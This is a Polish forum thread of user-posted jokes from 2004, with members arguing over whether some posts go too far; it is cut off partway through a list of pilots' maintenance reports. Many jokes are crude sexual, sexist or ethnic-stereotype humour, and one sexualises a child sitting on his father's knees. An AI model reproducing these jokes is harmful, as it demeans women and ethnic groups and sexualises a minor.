A teraz przypatrzcie się poraz ostatni i zjedźcie w dół, nie podglądając i odpowiedzcie na poniższe pytanie:









ILE BYŁO PRZYSTANKÓW?



Pozdrawiam :razz: :cool:


















































Jedzie autobus, w którym jest 10 pasażerów. Na pierwszym przystanku wysiada 7 osób, a wsiada 6. Na drugim wsiada 15, a wysiada osiem, na następnym wsiada 7, wysiada 3. Na następnym wysiada 5, a wsiada 1, na następnym wysiada 3, a wsiada 9 osób.
A teraz przypatrzcie się poraz ostatni i zjedźcie w dół, nie podglądając i odpowiedzcie na poniższe pytanie:

[ Dodano: 24-11-2004, 09:13 ]
Spotykają się dwa wieloryby. Jeden mówi.
- Tydzień temu zjadłem Ruskiego i od tamtej pory pływam wężykiem.
- To jeszcze nic - mówi drugi - ja tydzień temu zjadłem blondynkę i od tamtej pory nic nie jadłem.
- Dlaczego? - pyta pierwszy.
- Bo nie mogę się zanurzyć.


Spotyka się dwóch sąsiadów. Jeden mówi:
- Czy ty wiesz Franek, że moja świnia mówi po francusku?
- Chyba jesteś pijany, albo zwariowałeś!
- Nie wierzysz? To założymy się!
Sąsiedzi poszli do chlewu do świni mówiącej po francusku. Jej właściciel pyta:
- Kaśka, umiesz mówić po francusku?
Świnia nic. Wtedy chłop ją kopnął, a świnia:
- Łi, łi, łi!

Piotr - Malediwy - 24-11-2004, 12:55

Wychodzi zakrwawiony kangur z autobusu.
- Co Ci się stało?!
- Jakiś chuligan próbował mi wyrwać torbę!

kraknur - 24-11-2004, 16:23

> > Siedzi babcia na mszy, ksiądz zbiera na tace i podchodzi do
> > niej. Babcia długo grzebie w portfelu. Kapłan zniecierpliwiony
> > patrzy a ona wyciąga monetę. Babciu nie z tej przegródki, z tej
> > z papierowymi. Te są na fryzjera odpowiada kobieta. Oj babciu
> > Matka Boska nie chodziła do fryzjera i żyła. A BABCIA NA TO:
> > Pan Jezus też nie jeździł mercedesem.

tsharny - 25-11-2004, 12:27

Wchodzi kowboj do baru i patrzy - siedzi tam cud kobieta.
Kowboj: Czesc. Kim jestes?
Kobieta: Lesbijka...
- Eeeeee... To znaczy?
- Jak sie budze mysle o seksie z kobieta, jak jem sniadanie to mysle o seksie z kobieta, jak ide do pracy to mysle o seksie z kobieta, jak jem obiad, mysle o seksie z kobieta, jak wracam do domu, to mysle o seksie z kobieta, jak zasypiam, to mysle o seksie z kobieta...A Ty, kim jestes?
- Jak tu przyszedlem to myslalem, ze jestem kowbojem, ale teraz wiem, ze jestem lesbijka.

amanecer - 25-11-2004, 16:18

Pani w szkole podstawowej pyta małego Kulczyka:
-Jasiu, kim chcesz zostać jak dorośniesz?
-Biznesmenem!
-Jasiu, u nas nie ma biznesmenów. A Ty, Olku? -pyta pani Kwaśniewskiego.
-Prezydentem!
-Ależ Olku, u nas nie ma prezydentów! A Ty Wołodia?- pyta pani Ałganowa.
-A ja to wszystko kolegom załatwię!

Corvusx - 25-11-2004, 20:21

Dano kawałek siatki inżynierowi, fizykowi i matematykowi, i poproszono, żeby za pomocą tej siatki ogrodzili jak największy kawałek terenu.
Inżynier wytoczył schludny kwadrat, fizyk - idealne koło, a matematyk byle jak te siatkę porozstawiał, wszedł do środka i zadeklarował, że jest na zewnątrz...

Miłosz - 26-11-2004, 13:14

Mąż: Chciałbym te wakacje spędzić tam, gdzie jeszcze nigdy nie byłem... .
Żona: Świetnie...Co powiesz na kuchnie?

EaserVW - 26-11-2004, 18:11

Długie kawały sa niemedialne :

1) Wiecie dlaczego kot ma cztery łapy ? Żeby dobiegł do śmietnika przed emerytem


2) "To, że nosze okulary nie znaczy, że jestem głucha"

3) "pacjent twierdzi, że białe krwinki zostawił do badania w innym szpitalu"

4) "Mam 38 lat, mieszkam w Słupsku, koło budowy Marketu. Jestem młoda, zdrowa, dyspozycyjna, moge podjąć każda prace w kaRZdym charakterze. Prośże o przyjęcie do pracy jestem zdrowa dyspozycyujna i niezależna"

5) "Skóra pacjenta pozostawała sucha i wilgotna"

6)"Pacjentka stwierdziła, że na zatwardzenie cierpiała przez większośc życia do momentu rozwodu"

7) "wyglądający zdrowo, zgrzybiały mężczyzna, wysoce sprawny umysłowo, zaawansowany Alzheimer"


i chyba koronne :

8)"Jakby ktoś szukał szmaty to jestem w sali obok" :razz:

Pozdrawiam

yogi - 28-11-2004, 07:39

przychodzi baba od lekarza i mówi do męża
,,KOCHANIE TO CO OD 20-TU LAT UWAŻALIŚMY ZA ORGAZM , TO ZWYKŁA ASTMA"

martin - 29-11-2004, 12:54

Kobieta u sexuologa
- Co mam robic panie doktorze maz mnie nie zaspokaja?
- Prosze pani, ja moge cos pani przepisac, ale moze znalazlaby pani sobie kochanka. W sumie maz nie musi o niczym wiedziec.
- Mam panie doktorze, tez nie wystarcza.
- Droga pani, a gdzie jest powiedziane, ze to ma byc jeden?
- Mam ich dziesieciu i wciaz to za malo.
- DOBRZE, przepisze pani jakies hormony i za dwa tygodnie przyjdzie pani do kontroli.
Kobieta wraca do domu kladzie recepte przed mezem:
- Widzisz!? .... zadna ku....., tylko chora jestem!

MikeN - 01-12-2004, 10:11



okienko decyzyjne na komputerze blondynki






pozdrawiam

kraknur - 02-12-2004, 10:58

Matka krzyczy na corke:
- Zabraniam ci wracac tak pozno do domu. Masz dopiero 17 lat. Ja w twoim wieku...
- Wiem, wiem. - przerywa corka - Siedzialas stale w domu... Bo ja mialam piec miesiecy...

MikeN - 02-12-2004, 11:40

Robert Korzeniowski zauwazyl w sklepie nowa marke
prezerwatyw "Kondomy olimpijskie". Zaintrygowany, postanowil je
kupic. Po powrocie do domu powiadamia zone o zakupie.
- "Kondomy olimpijskie"? I czym róznia sie od zwyklych? - pyta
polowica.
- Sa w trzech kolorach: zlotym, srebrnym i brazowym. Jak medale
olimpijskie.
- I jaki kolor zalozysz dzis w nocy?
- Zloty, naturalnie - oswiadcza dumnie Korzeniowski
- Naprawde? A nie móglbys zalozyc srebrnego? Przynajmniej raz
doszedlbys jako drugi...


II wojna światowa, radzieccy żołnierze beszczeszczą niemiecki cmentarz wojskowy, skaczą po grobach, smiejąc sie czytają napisy na nagrobkach:
-Hans von Tiedemann
-Jurgen Klauss
-Klaus Hamman
-Achtung Minen


A oto mały link do prezentacji "klątwy faraona" ;-)
:!: UWAGA :!: TYLKO DLA LUDZI DOROSŁYCH I O MOCNYCH NERWACH :!:
KLIKASZ NA WŁASNĄ ODPOWIEDZIALNOŚĆ

http://www.upsitedown.co.il/anim/rest40.html

Po hibernacji 10-letniej, budzi się: Clinton i Putin. Putin patrzy w gazetę i zaczyna się śmieć i mówić: USA przeszło na komunizm.
Clinton też bierze gazetę i zaczyna się śmiać i mówi: zamieszki na granicy Polsko-Chińskiej.


pozdrawiam

Mania - 02-12-2004, 11:53

Czy wy juz naprawde nie znacie zadnych granic przyzwoitosci? Ta panienka na kiblu (link) jest tak niesmaczna, ze az nie smieszna.

Blagam Was miejscie wzglad na - po pierwsze kobiety bedace na tym forum i na dzieci, ktore czasami na przyklad trzymamy na kolanach przegladajac czy czytajac posty.

Zdegusotwania
Mania

MikeN - 02-12-2004, 12:03

Już poprawiłem i dodałem ostrzeżenie.
Zgadzam się, że jest to niesmaczne, ale w pełni oddaje klimat "klątwy faraona", która mnie też dopadła. :evil:

pozdrawiam

tsharny - 02-12-2004, 16:13

Zlota Rybka & Wania:
R: puść mnie spełnię twoje życzenie
W: Ok
R: Willę chcesz?
W: Nie
R: Mercedesa chcesz?
W: Nie
R: Medal za męstwo chcesz?
W: Tak jasne.
Hukneło, jebneło i Wania znalazł sie prosto na polu bitwy z dwoma granatami w ręku. Patrzy a na niego napiera 10 czołgów. Wania wk...ny przez zacisniete zęby mówi:
- k...a, pośmiertny mi dała...

MikeN - 03-12-2004, 17:10
Temat postu: Następca Małysza
Nieznany dotad nikomu zawodnik w sokach narciarskich Marcin Wajda z klubu Tornado PGR Czarnorzeki prezentuje światu nową sylwetkę opracowaną w Zakładzie Aerodynamiki Państwowego Gospodarstwa Rolnego w Czarnorzekach.

Sylwetka jest przeznacona do lotów narciarskich na wielkiej krokwi, a charakteryzuje się niezwykłym kątem natarcia, zwiększeniem powierzchni nośnej poprzez usytuowanie rąk z przodu ciała oraz (co wydaje się nam dziwne) skrzyzowaniem nóg.

Na zdjęciu: Marcin Wajda w momencie wyjścia z progu:


Kliknij, aby zobaczyć Marcina Wajdę

[ Dodano: Pią 03 Gru, 2004 ]
- Tato, ile kilometrów ma Nil?
- Nie wiem.
- A kto to był Dąbrowski?
- Nie wiem.
- A stolicą jakiego państwa jest Madryt?
- Nie wiem.
- Synku, nie dręcz tatusia - prosi matka.
- Nie strofuj dziecka kochanie.Jak się nie będzie pytał, to się niczego nie dowie...

Rozmawiają dwaj koledzy z pracy:
- Dlaczego szef jest na ciebie zły od tygodnia?
- Tydzień temu była impreza zakładowa i szef wzniósł toast "Niech żyją pracownicy!", a ja zapytałem "Tak? A z czego?"

Pasażerowie czekają na start samolotu ale odlot się opóźnia. Czekają, czekają, po 2 godzinach widzą 2 pilotów. Pierwszy idzie pomagając sobie białą laską, drugi jest prowadzony przez psa. Piloci wchodzą, samolot rusza, kołuje po pasie, do końca pasa zostaje 500 metrów, 300, 100, pasażerowie zdenerwowani zaczynają krzyczeć i w ostatniej chwili samolot podrywa się i zaczyna lecieć.
W kabinie pilotów jeden do drugiego: jak kiedyś nie krzykną to się rozwalimy...


Oto ramówka telewizyjna nowo otwartego kanału telewizyjnego
Dla alkoholików BOLSAT.
06:30 - Gdzie jestem, kim jestem - teleturniej z nagrodami
08:30 - Piwko czy winko - program poranny
09:00 - Wiadomości
09:30 - Alkobiznes - program integracji polsko-czeskiej
10:00 - Dębowe Przedszkole - program dla początkujących
11:00 - The Smirnoffs - telenowela rosyjska
12:00 - Haftowanie na ekranie - reality show
12:30 - Soplicowo 2002 - Relacja z festiwalu piosenki Polskiej
13:00 - Sport - MŚ : Sztafeta 4x100
15:00 - Kielonopolscy (odc. 0.75) - telenowela Polska
14:20 - Teatr Bolstatu : Shakesbeer : To drink or not to drink.
15:30 - Łowienie na żywca - program dla samotnych kobiet
16:00 - 1410 - Program historyczny
17:00 - Po kielonie - rozmowy polityczne
17:30 - Liga Angielska - Guiness vs. Kilkeny
18:45 - Zwierzyniec - Złoty Bażant - film słowacki
19:00 - Wieczorynka - Przygody Jasia Wędrowniczka (The Adventures ofJohny Walker) - film animowany prod. angielskiej
19:30 - Zagrożenia XXIw. - Esperal
20:00 - SUPERKINO : Indiana Jones i poszukiwacze zaginionej Warki -film fab. USA
21:30 - Rozmowy w rynsztoku - talk show
22:00 - 40% - lista,lista,lista przebojów
22:30 - Z gwinta - Magazyn reporterów Bolsatu
23:30 - Decyzja należy do ciebie - odc. pt: 0,7 czy połówka
00:00 - Kino Mocne : Odwyk - Pogromca wyzwolonych - horror USA
02:00 - Gość Bolsatu : The Beertels
02:30 - Na planie : Absolwent
03:00 - Jak przerobić Pana Tadeusza - program edukacyjny
03:30 - Wycieczki Bolsatu : TATRA
04:15 - X-Flaszki - program nocny

pozdrawiam

raisa - 04-12-2004, 18:17

Postanowiłam wziąć krótki urlop. Uzmysłowiłam sobie jednak, że przecież wszystko już wykorzystałam. Ba! chyba nawet zalegam szefowi dzień lub dwa. Pomyślałam, że chyba najszybciej zmiękczę bossowe serce, gdy zrobię coś tak głupiego, że ten zacznie się nade mną litować! No, bo przemęczona jestem, przepracowana... Zaczyna mi odbijać. Samo życie...
Następnego dnia przyszłam trochę wcześniej do pracy. Rozejrzałam się dookoła... MAM!!!
Odbiłam się od podłogi i poszybowałam w kierunku żyrandola; złapałam go
mocno... i - wiszę!
Wchodzi kolega z biurka obok - i rozdziawia gębę patrząc na mnie (on ma taki jakiś drewniany wzrok!!!)
- Ciiiii - szepczę konspiracyjnie - rżnę psychola, bo chcę kilka dni wolnego od starego. Gram żarówę, rozumiesz?
Kilka sekund później wchodzi szef. Już od progu huczy swoim basem, co ja tam robię u góry.
- Ja jestem żarówka! - wypiszczałam.
- No co ty? Chyba cię coś straszy! Weź lepiej kilka dni wolnego i jedź się gdzieś przewietrzyć.
Wdzięcznie sfrunęłam na podłogę i zaczynam się pakować. Ale kątem oka widzę, że kolega też zaczyna się pakować...
A gdy szef zainteresowany pyta go: "a pan to dokąd?" - kolega odpowiada:
- No do domu... przecież po ciemku nie będę pracować!

martin - 06-12-2004, 11:06

Frank1909: Cześć słodziutka. Jak wyglądasz?

Barbie4u: Mam 177 cm, 27 lat i waże 57 kg. Mam na sobie czerwoną, jedwabną bluzkę, spódniczkę mini i buty na wysokim obcasie. A jak Ty wyglądasz?

Barbie4u: wylogowana

Marta_W - 06-12-2004, 19:19

no, to już lekka przesada, naprawdę!!!!
kjar - 07-12-2004, 16:09

Marta_W napisał/a:
no, to już lekka przesada, naprawdę!!!!

Lekka ? Wcale nie lekka.
Jak to się mówi : Martin miał świetną okazję aby nic nie napisać a stracił ją.

Marek Macner - 07-12-2004, 16:28

:oops:
Mania - 07-12-2004, 16:36

Panowie...
Nie komentujemy siebie nawzajem w stylu pl.rec. nurkowanie!!!!!! W zwiazku z tym prosze dalej nie kontynuowac publicznych komentarzy dotyczacych Martina.
A co do przesadzania - bardzo wielu naszych kolegow schodzi tutaj na poziom szatni meskiej po WF-ie albo Dolnej ew. Gornej Bawarii.
Tak wiec dotyczy to nie tylko Martina. Czasami sie zastanawiam czy takie same dowcipy opowiadacie swoim zonom, dziewczynom na pierwszej randce itd. A jesli ja, malo pruderyjna osoba, czasami czuje sie zazenowana to znaczy, ze naprawde idziecie za daleko.
Mania

Jarek Sieminski - 07-12-2004, 19:27

Rozmawia dwóch maklerów:
- Wiesz, że twoja żona ma czterech kochanków?
- No to co? Wolę mieć 20% w dobrym interesie niż 100% w kiepskim!

pzdr,
JArek

snoop - 07-12-2004, 22:55

Wsiada podpity klient do taksówki i mówi:
- Do domu...
- A gdzie pan mieszka?
- Gdybym wiedział, to bym poszedł piechotą, nie?

Jeden troszkię stary i przerobiony :) Chyba wyszła przeróbka :D

Wybieral sie facet na nurkowanie, idzie nad wodę, przed zejsciem do wody widzi jakiegos jegomoscia jak sie szarpie z dwiema wielkimi walizami, sapie, dyszy, klnie na czym swiat stoi, ze pewnie się przez te walizyutopi. No to podszedl do niego i pyta czy by mu nie pomoc? Pomoc, a jakze! Po zataszczeniu waliz na pomost obaj ocieraja pot z czola, po czym jegomosc od waliz spogląda na komputer nurkowy. Naciska jakis guzik, komputer aksamitnym damskim glosem obwieszcza, ze jest 16:24. Nastepnie jegomosc manipuluje innym przyciskiem i ten sam glos podaje temperature otoczenia, wilgotnosc powietrza, cisnienie atmosferyczne. - Oooo, jaki masz pan piekny komputer nurkowy, mowi ten co mu pomagal. - To pewnie fiński?
-Nie, rosyjski.
-Patrz pan, to Ruskie takie komputery robia??!
-Komputery nurkowe robia dobre - mowi jegomosc i wskazujac wzrokiem na dwie walizy, dodaje - tylko te baterie do niego cholernie ciezkie!

Kriss - 10-12-2004, 16:21

Cytat:
Czasami sie zastanawiam czy takie same dowcipy opowiadacie swoim zonom, dziewczynom na pierwszej randce itd.


Nie , na pierwszej randce to ja bywam z kandydatką na żonę i tej to opowiadam dowcipy , żonie to ja pokazuje wydruk z jej karty kredytowej ale ten styl docipu powoduje nerwowy śmiech tylko u mnie .

Pzdr-Kriss

Pitt_M - 10-12-2004, 16:47

:22:
Efraim Ryba - 14-12-2004, 10:38

Dowcipy mogą być subtelne, mogą być mądre, mogą być proste, pieprzne a nawet świńskie. Ale są dowcipami, czymś czego czytanie, słuchanie ma charakter w pełni dobrowolny.

Poziom dowcipu często (nie zawsze jednak) odzwierciedla poziom (bądź nastrój) opowiadającego.

Ale myślę, że kometowanie dowcipów połączone z wycieczkami niemalże osobistymi nie jest niczym dobrym. Ociera sie bowiem, niebezpiecznie blisko, o cenzurę.

A poza tym, rzymanie mawiali: "de gustibus..."

Co nasi sprytni łacinnicy przerobili na:

"jeden lubi czekoladę a drugi jak mu skarpetki śmierdzą...."

Pozdrawiam miłośników każdego rodzaju humoru (choć nie wszytkich tak samo ciepło)
Nie pozdrawiam zaś moralizatorów. Bo za prawie każdym moralizartorstwem kryje się taka czy inna hipokryzja.

Sandii - 14-12-2004, 12:45

W tym dowcipie nie ma żadnej kobiety ;)

Facet na rozmowie o pracę:
- Gdzie Pan wcześniej pracował?
- Służyłem w armii. Byłem w marines.
- Uczestniczył Pan w jakimś konflikcie wojskowym?
- Owszem. byłem dwa lata w Wietnamie i tam zdarzył mi się mały wypadek...
- To znaczy ?
- Granat urwał mi jaja...
- W porządku. Zatrudniam Pana. Proszę przyjść w poniedziałek na 10:00 do
pracy. Pana stanowisko będzie już gotowe...
- Na 10:00 ? Tak późno? Wie Pan, nie chcę być faworyzowany ze względu na
moje kalectwo. Inni też pracują od 10:00 ?
- Wie Pan, w zasadzie zaczynamy pracę od 07:00, ale przez pierwsze trzy
godziny drapiemy się tylko po jajach i zastanawiamy od czego by tu zacząć...

Efraim Ryba - 14-12-2004, 13:08

Dobre, dobre, bardzo polskie.

Wpasuję się w klimat. I mam nadzieję, że puryści się nie obrażą.

Dlaczego kobiety się po przebudzeniu przeciągają?
Bo nie mogą się podrapać po jajach...

MikeN - 14-12-2004, 13:47

Dowcipy nie dla wrażliwych osób:

Jasio mówi do mamy:
-Mamo, dzisiaj rano, kiedy jechałem autobusem, tato kazał mi wstać i ustąpić miejsca kobiecie.
-To bardzo ładnie.
-Ale mamo, ja siedziałem na taty kolanach.

Producent broni umarł i poszedł do nieba. Przy wejściu wita go osobiście Pan Bóg:
-Witaj człowieku. Czy robiłeś w życiu coś złego?
-BROŃ BOŻE!

Rozmowa dwojga meneli:
-Zocha, napijesz się wina?
-Heniek, przecież wiesz, że z gwinta nie piję!
-I za to cię, Zocha, szanuję!!!

Jasio pyta ojca:
-Tato, skąd ja się wziąłem???
-No wiesz synku... jakby ci to powiedzieć... bocian był i wogóle...
-Ale ty tato dziwny jesteś. Masz taką ładną żonę, a posuwasz bociany. :mrgreen:

Wraca do domu nad ranem pijany facet z gumową kaczką pod pachą. Otwiera drzwi, wchodzi do sypialni, gdzie śpi smacznie jego żona. Zapala światło, budzi żonę i pyta się:
-No i co powiesz na tę świnię??
-TO nie świnia tylko kaczka! - odpowiada zaspana żona
-Nie do ciebie mówiłem kobieto, tylko do mojej kaczki!

Efraim Ryba - 15-12-2004, 08:16

Rozmawiajają w kawiarni dwie koleżanki.
- obserwowałaś kiedyś swojego męża w trakcie stosunku?
- no pewnie.
- i co?
- nic, stał w drzwiach i miał głupią minę...

Beeker - 15-12-2004, 10:18

Pociągnę w tej samej konwencji:

Pani z kochankiem w łóżku, wchodzi mąż ...
- Co tu się dzieje ?!?!
- A nie mówiłam Ci, że to kretyn?

:lol:

kjar - 15-12-2004, 10:52

No to jeszcze tak :

Mąż przychodzi do domu w godzinach pracy i zastaje swoją żonę zmieszaną i niekompletnie ubraną w łóżku. Dopytuje się co się stało.
Żona: eeeeeeeee, coś żle się czuję i musiałam się położyć
Mąż wzrusza ramionami podchodzi do szafy by zawiesić tam swój płaszcz.
Żona: nieeee podchodź do szafy!
Mąż: a to czemu ?
Żona: eeeeeeee, bo tam straszy !
Maż otwiera szafę i widzi wewnątrz sąsiada z głupią miną.
Po chwili oszołomienia,
Maż: Jurek ??? No wiesz, tego się nie spodziewałem. Żona chora, a ty ją jeszcze straszysz ???

Efraim Ryba - 15-12-2004, 10:58

ostatnia seria jest sprawiedliwą i uzasadnioną ripostą za kawały o blondynkach :) :) :)
MikeN - 15-12-2004, 11:46

Jak zwykle wrażliwi niech nie czytają

Żona do męża:
- Kochanie, powiedz mi coś słodkiego...
- Nie teraz, jestem zajęty... (czytam FN :mrgreen: )
- Kochanie, no powiedz mi coś słodkiego...
- Naprawdę, teraz nie mam czasu.
- Ale kochanie, chociaż jedno slówko...
- "Miód" do kurny nędzy i spadaj!

Jak drwale dzielą kobiety?
- wczesnorębne
- średnorębne
- późnorębne
a te po pięćdziesiątce - pomniki przyrody.

W ktorym miejscu znajduje sie punkt G u kobiety?
NA koncu slowa "shoppinG"

Dziewczyna daje anons matrymonialny: "Poznam pana, który nie będzie mnie bil, nie odejdzie ode mnie i który będzie dobry w łóżku". Po kilku dniach słyszy straszne walenie do drzwi. Zaglądając przez "Judasza"nikogo nie widzi. Otwiera wiec drzwi, a tam leży na wycieraczce pan, który nie ma nóg ani rak. Mówi:
- To ja jestem tym mężczyzna, który w stu procentach odpowiada Pani wymaganiom. Nie będę Pani bil, ponieważ nie mam rak. Od Pani nie odejdę, ponieważ nie mam nóg.
- No ale jak tam jeśli chodzi o seks?
- A pani myśli, że czym to ja waliłem do drzwi?

Jasio sklada zyczenia dziadkowi z okazji 70 urodzin.
- Mam dla ciebie dwie wiadomosci jedna dobra druga zla.
- No to zacznij od dobrej.
- Na twoje urodziny przyjda dwie striptizerki.
- To swietnie, a ta zla?
- Beda w twoim wieku!


Ksiądz umówił się z ekstra laską, ale pech chciał, że akurat
przypadło mu odprawiać droge krzyżową. Prosi więc wikarego, aby ten go
zastąpił.
- Zgoda! Zabaw sie przyjacielu - odpowiada tamten.
- Ale pamiętaj - dodaje pierwszy - abyś nie kończył mszy, zanim ja
nie wrócę!
Ksiądz zabawił ponad czas, spóźniony biegiem wraca do kościoła
i zdziwiony widzi, że droga krzyżowa jeszcze trwa.
Wchodzi do kościoła i słyszy:
- Stacja 158 - Jezus wzięty do wojska. Śpiewamy "Przyjedź mamo
na przysięgę".

A to coś dla palących:


pozdrawiam

Marta_W - 16-12-2004, 19:03

Paniom na wzór, Panom ku przestrodze :))

Ludzie się pobieraj±. Zdarza się. Ludzie się rozwodz±. Też
się zdarza. Przy rozwodzie dziel± się dorobkiem życia. I wtedy może się
zdarzyć, że nie wszystkie zainteresowane osoby będ± się czuły jednakowo
usatysfakcjonowane...
Po siedemnastu latach małżeństwa pewien bardzo
bogaty facet porzucił żonę dla młodej sekretarki. Życzeniem
nowej oblubienicy było zamieszkać w dotychczasowej rezydencji
małżeńskiej, a ponieważ m±ż miał nieco lepszego adwokata, to i plan się
powiódł. Była żona dostała trzy dni na wyprowadzkę. Pierwszy dzień
spędziła na pakowaniu wszystkich swoich rzeczy w pudła, kufry i walizki.
Drugiego dnia wynajęła ludzi, którzy przewieÄ˝li jej dobytek do nowego
mieszkania. Trzeciego dnia po raz ostatni usiadła do stołu w swojej
pięknej jadalni. Zapaliła ¶wiece, wł±czyła nastrojow± muzykę i zjadła kolację
z krewetek, kawioru i białego wina. A gdy posiłek miał się ku końcowi,
obeszła wszystkie pomieszczenia w domu i w każdym wetknęła w karnisz
skorupkę krewetki z odrobin± kawioru. Na koniec sprz±tnęła
ze stołu, wezwała taksówkę, zamknęła dom i odjechała.
Kiedy m±ż wprowadził się z now± pani±, przez pierwsze dni
wszystko układało się wspaniale. A póÄ˝niej w domu zaczęło ¶mierdzieć.
Próbowali wszystkich sposobów: mycie, sprz±tanie, szorowanie,
wietrzenie...Wszystko na nic. Sprawdzili wentylację, czy nie zbł±dziło i nie zakończyło w
niej żywota jakie¶ zwierz±tko, wyprali wszystkie dywany... Na nic. Wszędzie porozstawiali od¶wieżacze powietrza. Na nic! Wezwali firmę
dezynsekcyjn±. Młoda para gotowa była wyprowadzić się na kilka dni, żeby tylko móc wrócić do czystego domu... Na nic. Wreszcie zrozpaczeni wła¶ciciele zdecydowali się na wymianę drogich wełnianych wykładzin.
Wszystko zupełnie na nic. Nic nie pomogło. Znajomi przestali
składać wizyty.
Robotnicy wynajęci do remontu odmówili dalszych prac. Pomoc
domowa odeszła...
W końcu też sami wła¶ciciele nie mogli dłużej znie¶ć
upiornego smrodu i postanowili się przeprowadzić. Dali ogłoszenie, że dom jest
na sprzedaż. Miesi±c póÄ˝niej, mimo obniżenia ceny o połowę, nadal nie było
chętnych na smrodliwe lokum. Mało tego - wie¶ci się rozeszły
i żadna z lokalnych firm nie chciała podj±ć się po¶rednictwa w
transakcji. Wreszcie pechowcy zostali zmuszeni kupić nowy dom na kredyt.
Wtedy na horyzoncie pojawiła się była małżonka. Którego¶ dnia zadzwoniła do eks-męża z pytaniem, co słychać. Znękany facet opowiedział historię gnij±cego domu, żona jej
wysłuchała i stwierdziła, że bardzo tęskni za swoim starym domem i że
chętnie zrezygnuje z czę¶ci przyznanych jej alimentów, je¶li tylko m±ż pozwoli jej
odzyskać dom. Korzystaj±c z tego, że była żona nie miała pojęcia, jak
strasznie dom śmierdzi, facet zgodził się odst±pić go za 1/100 warto¶ci -
pod warunkiem, że sfinalizuj± wszystko jeszcze tego samego dnia.
Kobieta się zgodziła i już po dwóch godzinach m±ż i jego nowa
życiowa partnerka z chytrymi usmiechami przygl±dali się, jak panowie w
kombinezonach pakuj± do samochodu z napisem "Przeprowadzki" cały ich
dobytek... ...w tym również karnisze.....
Zemsta zdradzonej kobiety jest słodka...:)))

nevada - 16-12-2004, 21:37

dobrze że nie zdradzam żony... no i że nie mam domu :22:
maczaty - 17-12-2004, 12:50

Cytat:
Żona do męża:
- Kochanie, powiedz mi coś słodkiego...


Inny wariant, też milusi :)

Żona do męża przed zaśnięciem:
- Kochanie, powiedz mi coś słodkiego...
- Co niby?!?!
- No, że jestem Twoim puszystym obłoczkiem...
- Jesteś moim puszystym obłoczkiem.
- ...i że jestem Twoją ukwieconą łączką...
- O Jezu... Jesteś moją ukwieconą łączką.
- Kochanie, ale ja bym tak chciała, żebyś powiedział coś od siebie, własnymi słowami...
- Śpij, Halina.

:20:


no i jeszcze z kuchni AA (w sensie Aloszy A. ;))

Przychodzi nowy Ruski do drogiej restauracji, zajmuje stolik. Podchodzi do
niego kelner, Ruski zamawia:
- Ty, słuchaj, czarny kawior masz?
- Tak, oczywiście.
- No, to daj mi tu kawioru za 5 tysięcy.
- Zaraz przyniosę.
- A wódę masz?
- Tak, oczywiście.
- No, to nieś mi tu wódy za 5 tysięcy!
Przyniesiono mu zamówienie, ten się ochlał po czym zmęczony zarył twarzą w
kawior i tak pozostał. Za jakiś czas do restauracji wchodzi ekstrawagancki inteligencik....
Usiadł przy stoliku obok nowego Ruskiego. Podchodzi kelner i pyta:
- Co podać?
- Po pierwsze, proszę mi przynieść wino czerwone wytrawne rocznik `47.
- Oczywiście.
- Wino ma być z winogron, które dojrzewały na nasłonecznionym stoku. Nalać
proszę mi tego winka dokładnie 78 g do kieliszka ze złotym paseczkiem dookoła.
- Tak, oczywiście, ze złotym paskiem.
- Jako danie główne chciałbym zamówić kurę natartą czosnkiem z lekko
przypieczoną skórką na nóżkach. Dodatkowo do kuperka proszę nalać 20 g oliwy z
oliwek czarnych, z pierwszego tłoczenia.
- Gdzie nalać? - pyta kelner.
- W kuper!
- Gdzie?
- W dupę, pieprzonej kurze!
Nagle budzi się nowy Ruski i na całe gardło ryczy:
- I mnie w dupę oliwy! Za 5 tysięcy!

kjar - 17-12-2004, 13:37

Dzisiaj zasłyszane :

Nowobogacki na izbie przyjęć czeka na wynik prześwietlenia prawdopodobnie złamanej nogi.
Na izbę przychodzi lekarz i oznajmia : no jednak trzeba będzie założyć gips.

Na to nowobogacki : GIPS ? Panie doktorze dlaczego gips ? Dawaj pan MARMUR !!!

orzech - 17-12-2004, 14:02

no to ja w temacie:

Nowobogacki zamówił w restauracji wykwintne potrawy (za 5 tysięcy, hehe).
W pewnej chwili podchodzi szef sali i pyta:
- Jak szanowny pan znajduje naszą pieczeń?
- Normalnie, odgarniam kartofle i znajduję!

o.

kraknur - 20-12-2004, 11:29

Oto autentyki z quizów i konkursów w Wielkiej Brytanii i Ameryce.
- Jaki brzmi słowo "droga" po włosku?
- Expresso.

- Jaki dokument podpisano aby zakończyć I Wojnę Światową?
- Wielką Kartę Wolności.

- W jakim europejskim kraju leży Etna?
- W Japonii.
- Powiedziałem: w europejskim kraju. Proszę spróbować jeszcze raz.
- Yyyy ... w Meksyku?

- Jakiej narodowości jest papież?
- Jest Żydem.

- Który znany artysta namalował Monę Lizę?
- Frank Bough.

- Jak długo trwała wojna 6-cio dniowa między Egiptem a Izraelem?
- (po długim namyśle) 14 dni.

- W którą stronę obracają się wskazówki zegara?
- W stronę przeciwną do ruchu wskazówek zegara.

- Jaka jest waluta Indii?
- Ramadan.

- Który z prezydentów wygłosił Orędzie Gettysburskie?
- Nie wiem. To było zanim się urodziłem.

- Jaki owady występują powszechnie nad brzegami jezior?
- Aligatory.

Prowadzący:
- Stolicą którego europejskiego kraju jest Lizbona?
I uczestnik:
- Austrii.
Prowadzący:
- Niestety nie. Zwracam sie do następnego gracza.
II uczestnik:
- Też tak myślałem... No to może Gibraltaru?

- Prosze dokończyć powiedzenie "Zemsta to danie, które najlepiej smakuje..." jak - na zimno czy na grzance?
- Na grzance.

- Równik dzieli Ziemię na ile półkul?
- Na trzy.

- Jaki jest największy gryzoń Ameryki Północnej?
- Wieloryb.

Piotr N. - 21-12-2004, 09:22
Temat postu: Dla Mistresa - o pilotach :)
Po kazdym locie, piloci linii lotniczych sa zobowiazani do wypelnienia kwestionariusza nt. problemow technicznych, napotkanych podczas lotu. Formularz jest nastepnie przekazywany mechanikom w celu dokonania odpowiednich korekt. Odpowiedzi mechanikow sa wpisywane w dolnej czesci kwestionariusza, by umozliwic pilotom zapoznanie sie z nimi przed nastepnym lotem. Nikt nigdy nie twierdzil, ze zalogi naziemne i mechanicy sa pozbawieni poczucia humoru. Ponizej zamieszczono kilka aktualnych przykladow podanych przez pilotow linii QUANTAS oraz odpowiedzi udzielone pzez mechanikow. Przy okazji warto zauwazyc, ze QUANTAS jest jedyna z wielkich linii lotniczych, ktora nigdy nie miala powaznego wypadku...

P = problem zgloszony przez pilota
O = Odpowiedz mechanikow


P: Lewa wewnetrzna opona podwozia glownego niemal wymaga wymiany.
